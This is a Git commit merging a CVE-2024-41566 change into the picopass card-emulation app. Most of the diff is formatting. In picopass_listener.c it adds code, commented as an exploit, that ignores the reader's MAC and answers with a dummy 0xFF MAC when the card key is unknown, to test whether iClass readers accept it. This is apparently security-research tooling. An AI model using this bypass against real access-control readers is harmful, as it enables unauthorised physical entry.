Skip to content

Commit e03ad23

Browse files
committed
Merge branch 'CVE-2024-41566' into 'main'
CVE-2024-41566: When keys are unknown emulate with a dummy MAC and ignore reader MACs See merge request bettse/picopass!3
2 parents 6ef54af + 0689af8 commit e03ad23

11 files changed

+56
-67
lines changed

helpers/iclass_elite_dict.c

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,14 @@
33
#include <lib/toolbox/args.h>
44
#include <lib/flipper_format/flipper_format.h>
55

6-
#define ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt")
6+
#define ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt")
77
#define ICLASS_STANDARD_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_standard_dict.txt")
8-
#define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt")
8+
#define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt")
99

1010
#define TAG "IclassEliteDict"
1111

1212
#define ICLASS_ELITE_KEY_LINE_LEN (17)
13-
#define ICLASS_ELITE_KEY_LEN (8)
13+
#define ICLASS_ELITE_KEY_LEN (8)
1414

1515
struct IclassEliteDict {
1616
Stream* stream;

picopass_device.c

Lines changed: 1 addition & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -20,17 +20,7 @@ const char unknown_block[] = "?? ?? ?? ?? ?? ?? ?? ??";
2020

2121
PicopassDevice* picopass_device_alloc() {
2222
PicopassDevice* picopass_dev = malloc(sizeof(PicopassDevice));
23-
picopass_dev->dev_data.auth = PicopassDeviceAuthMethodUnset;
24-
picopass_dev->dev_data.pacs.legacy = false;
25-
picopass_dev->dev_data.pacs.se_enabled = false;
26-
picopass_dev->dev_data.pacs.sio = false;
27-
picopass_dev->dev_data.pacs.biometrics = false;
28-
memset(picopass_dev->dev_data.pacs.key, 0, sizeof(picopass_dev->dev_data.pacs.key));
29-
picopass_dev->dev_data.pacs.elite_kdf = false;
30-
picopass_dev->dev_data.pacs.pin_length = 0;
31-
picopass_dev->dev_data.pacs.bitLength = 0;
32-
memset(
33-
picopass_dev->dev_data.pacs.credential, 0, sizeof(picopass_dev->dev_data.pacs.credential));
23+
memset(picopass_dev, 0, sizeof(PicopassDevice));
3424
picopass_dev->storage = furi_record_open(RECORD_STORAGE);
3525
picopass_dev->dialogs = furi_record_open(RECORD_DIALOGS);
3626
picopass_dev->load_path = furi_string_alloc();
@@ -176,12 +166,6 @@ static bool picopass_device_save_file(
176166
FuriString* temp_str;
177167
temp_str = furi_string_alloc();
178168

179-
if(dev->format == PicopassDeviceSaveFormatPartial) {
180-
// Clear key that may have been set when doing key tests for legacy
181-
memset(card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data, 0, PICOPASS_BLOCK_LEN);
182-
card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].valid = false;
183-
}
184-
185169
do {
186170
if(use_load_path && !furi_string_empty(dev->load_path)) {
187171
// Get directory name

picopass_device.h

Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -19,35 +19,35 @@
1919
#endif
2020
#define LOCLASS_MACS_TO_COLLECT (LOCLASS_NUM_CSNS * LOCLASS_NUM_PER_CSN)
2121

22-
#define PICOPASS_DEV_NAME_MAX_LEN 129
22+
#define PICOPASS_DEV_NAME_MAX_LEN 129
2323
#define PICOPASS_READER_DATA_MAX_SIZE 64
24-
#define PICOPASS_MAX_APP_LIMIT 32
24+
#define PICOPASS_MAX_APP_LIMIT 32
2525

26-
#define PICOPASS_CSN_BLOCK_INDEX 0
27-
#define PICOPASS_CONFIG_BLOCK_INDEX 1
26+
#define PICOPASS_CSN_BLOCK_INDEX 0
27+
#define PICOPASS_CONFIG_BLOCK_INDEX 1
2828
// These definitions for blocks above 2 only hold for secure cards.
29-
#define PICOPASS_SECURE_EPURSE_BLOCK_INDEX 2
30-
#define PICOPASS_SECURE_KD_BLOCK_INDEX 3
31-
#define PICOPASS_SECURE_KC_BLOCK_INDEX 4
32-
#define PICOPASS_SECURE_AIA_BLOCK_INDEX 5
29+
#define PICOPASS_SECURE_EPURSE_BLOCK_INDEX 2
30+
#define PICOPASS_SECURE_KD_BLOCK_INDEX 3
31+
#define PICOPASS_SECURE_KC_BLOCK_INDEX 4
32+
#define PICOPASS_SECURE_AIA_BLOCK_INDEX 5
3333
// Non-secure cards instead have an AIA at block 2
34-
#define PICOPASS_NONSECURE_AIA_BLOCK_INDEX 2
34+
#define PICOPASS_NONSECURE_AIA_BLOCK_INDEX 2
3535
// Only iClass cards
3636
#define PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX 6
3737

3838
// Personalization Mode
39-
#define PICOPASS_FUSE_PERS 0x80
39+
#define PICOPASS_FUSE_PERS 0x80
4040
// Crypt1 // 1+1 (crypt1+crypt0) means secured and keys changable
41-
#define PICOPASS_FUSE_CRYPT1 0x10
41+
#define PICOPASS_FUSE_CRYPT1 0x10
4242
// Crypt0 // 1+0 means secure and keys locked, 0+1 means not secured, 0+0 means disable auth entirely
43-
#define PICOPASS_FUSE_CRYPT0 0x08
43+
#define PICOPASS_FUSE_CRYPT0 0x08
4444
#define PICOPASS_FUSE_CRYPT10 (PICOPASS_FUSE_CRYPT1 | PICOPASS_FUSE_CRYPT0)
4545
// Read Access, 1 meanns anonymous read enabled, 0 means must auth to read applicaion
46-
#define PICOPASS_FUSE_RA 0x01
46+
#define PICOPASS_FUSE_RA 0x01
4747

48-
#define PICOPASS_APP_FOLDER ANY_PATH("picopass")
49-
#define PICOPASS_APP_EXTENSION ".picopass"
50-
#define PICOPASS_APP_FILE_PREFIX "Picopass"
48+
#define PICOPASS_APP_FOLDER ANY_PATH("picopass")
49+
#define PICOPASS_APP_EXTENSION ".picopass"
50+
#define PICOPASS_APP_FILE_PREFIX "Picopass"
5151
#define PICOPASS_APP_SHADOW_EXTENSION ".pas"
5252

5353
#define PICOPASS_DICT_KEY_BATCH_SIZE 10

picopass_i.h

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -41,9 +41,9 @@
4141

4242
#define PICOPASS_TEXT_STORE_SIZE 129
4343

44-
#define PICOPASS_ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt")
44+
#define PICOPASS_ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt")
4545
#define PICOPASS_ICLASS_STANDARD_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_standard_dict.txt")
46-
#define PICOPASS_ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt")
46+
#define PICOPASS_ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt")
4747

4848
enum PicopassCustomEvent {
4949
// Reserve first 100 events for button types and indexes, starting from 0

protocol/picopass_listener.c

Lines changed: 19 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -375,35 +375,46 @@ PicopassListenerCommand
375375
PICOPASS_FUSE_CRYPT10) != PICOPASS_FUSE_CRYPT0;
376376
if(!secured) break;
377377

378-
uint8_t rmac[4] = {};
379-
uint8_t tmac[4] = {};
380378
const uint8_t* key = instance->data->card_data[instance->key_block_num].data;
381-
bool no_key = !instance->data->card_data[instance->key_block_num].valid;
379+
bool have_key = instance->data->card_data[instance->key_block_num].valid;
380+
bool no_data = !instance->data->card_data[PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX].valid;
382381
const uint8_t* rx_data = bit_buffer_get_data(buf);
383382

384-
if(no_key) {
385-
// We're emulating a partial dump of an iClass SE card and should capture the NR and MAC
383+
if(no_data) {
384+
// We're missing at least the first data block, save MACs for NR-MAC replay.
386385
command = picopass_listener_save_mac(instance, rx_data);
387386
break;
388-
} else {
387+
} else if(have_key) {
388+
uint8_t rmac[4] = {};
389+
uint8_t tmac[4] = {};
389390
loclass_opt_doBothMAC_2(instance->cipher_state, &rx_data[1], rmac, tmac, key);
390391

391-
#ifndef PICOPASS_DEBUG_IGNORE_BAD_RMAC
392392
if(memcmp(&rx_data[5], rmac, PICOPASS_MAC_LEN)) {
393393
// Bad MAC from reader, do not send a response.
394394
FURI_LOG_I(TAG, "Got bad MAC from reader");
395395
// Reset the cipher state since we don't do it in READCHECK
396396
picopass_listener_init_cipher_state(instance);
397397
break;
398398
}
399-
#endif
400399

401400
bit_buffer_copy_bytes(instance->tx_buffer, tmac, sizeof(tmac));
402401
NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer);
403402
if(error != NfcErrorNone) {
404403
FURI_LOG_D(TAG, "Failed tx update response: %d", error);
405404
break;
406405
}
406+
} else {
407+
// CVE-2024-41566 Exploit: The dump has no key, ignore the reader mac
408+
// and a dummy response to see if the reader accepts it anyway
409+
bit_buffer_reset(instance->tx_buffer);
410+
for(size_t j = 0; j < 4; j++) {
411+
bit_buffer_append_byte(instance->tx_buffer, 0xff);
412+
}
413+
NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer);
414+
if(error != NfcErrorNone) {
415+
FURI_LOG_D(TAG, "Failed tx update response: %d", error);
416+
break;
417+
}
407418
}
408419

409420
command = PicopassListenerCommandProcessed;

protocol/picopass_poller.c

Lines changed: 5 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -313,15 +313,6 @@ NfcCommand picopass_poller_nr_mac_auth(PicopassPoller* instance) {
313313
if(instance->mode == PicopassPollerModeRead) {
314314
picopass_poller_prepare_read(instance);
315315
instance->state = PicopassPollerStateReadBlock;
316-
// Set to non-zero keys to allow emulation
317-
memset(
318-
instance->data->card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data,
319-
0xff,
320-
PICOPASS_BLOCK_LEN);
321-
memset(
322-
instance->data->card_data[PICOPASS_SECURE_KC_BLOCK_INDEX].data,
323-
0xff,
324-
PICOPASS_BLOCK_LEN);
325316
}
326317
}
327318

@@ -431,9 +422,12 @@ NfcCommand picopass_poller_read_block_handler(PicopassPoller* instance) {
431422
break;
432423
}
433424

434-
if(instance->secured && instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX) {
435-
// Skip over Kd block which is populated earlier (READ of Kd returns all FF's)
425+
if(instance->secured && (instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX ||
426+
instance->current_block == PICOPASS_SECURE_KC_BLOCK_INDEX)) {
427+
// Kd and Kc blocks cannot be read (card always returns FF's)
428+
// Key blocks we authed as would have been already set earlier
436429
instance->current_block++;
430+
continue;
437431
}
438432

439433
PicopassBlock block = {};

protocol/picopass_poller_i.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
#include <nfc/helpers/iso13239_crc.h>
77

88
#define PICOPASS_POLLER_BUFFER_SIZE (255)
9-
#define PICOPASS_CRC_SIZE (2)
9+
#define PICOPASS_CRC_SIZE (2)
1010

1111
typedef enum {
1212
PicopassPollerSessionStateIdle,

protocol/picopass_protocol.h

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,13 +2,13 @@
22

33
#include "../picopass_device.h"
44

5-
#define PICOPASS_BLOCK_LEN 8
6-
#define PICOPASS_MAX_APP_LIMIT 32
7-
#define PICOPASS_UID_LEN 8
5+
#define PICOPASS_BLOCK_LEN 8
6+
#define PICOPASS_MAX_APP_LIMIT 32
7+
#define PICOPASS_UID_LEN 8
88
#define PICOPASS_READ_CHECK_RESP_LEN 8
9-
#define PICOPASS_CHECK_RESP_LEN 4
10-
#define PICOPASS_MAC_LEN 4
11-
#define PICOPASS_KEY_LEN 8
9+
#define PICOPASS_CHECK_RESP_LEN 4
10+
#define PICOPASS_MAC_LEN 4
11+
#define PICOPASS_KEY_LEN 8
1212

1313
#define PICOPASS_FDT_LISTEN_FC (1000)
1414

rfal_picopass.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
#include <furi_hal_nfc.h>
44

55
#define RFAL_PICOPASS_UID_LEN 8
6-
#define PICOPASS_BLOCK_LEN 8
6+
#define PICOPASS_BLOCK_LEN 8
77

88
enum {
99
// PicoPass command bytes:

scenes/picopass_scene_elite_keygen_attack.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
#include "../picopass_elite_keygen.h"
44

55
#define PICOPASS_SCENE_DICT_ATTACK_KEYS_BATCH_UPDATE (10)
6-
#define PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT (2000)
6+
#define PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT (2000)
77

88
NfcCommand picopass_elite_keygen_attack_worker_callback(PicopassPollerEvent event, void* context) {
99
furi_assert(context);

0 commit comments

Comments
 (0)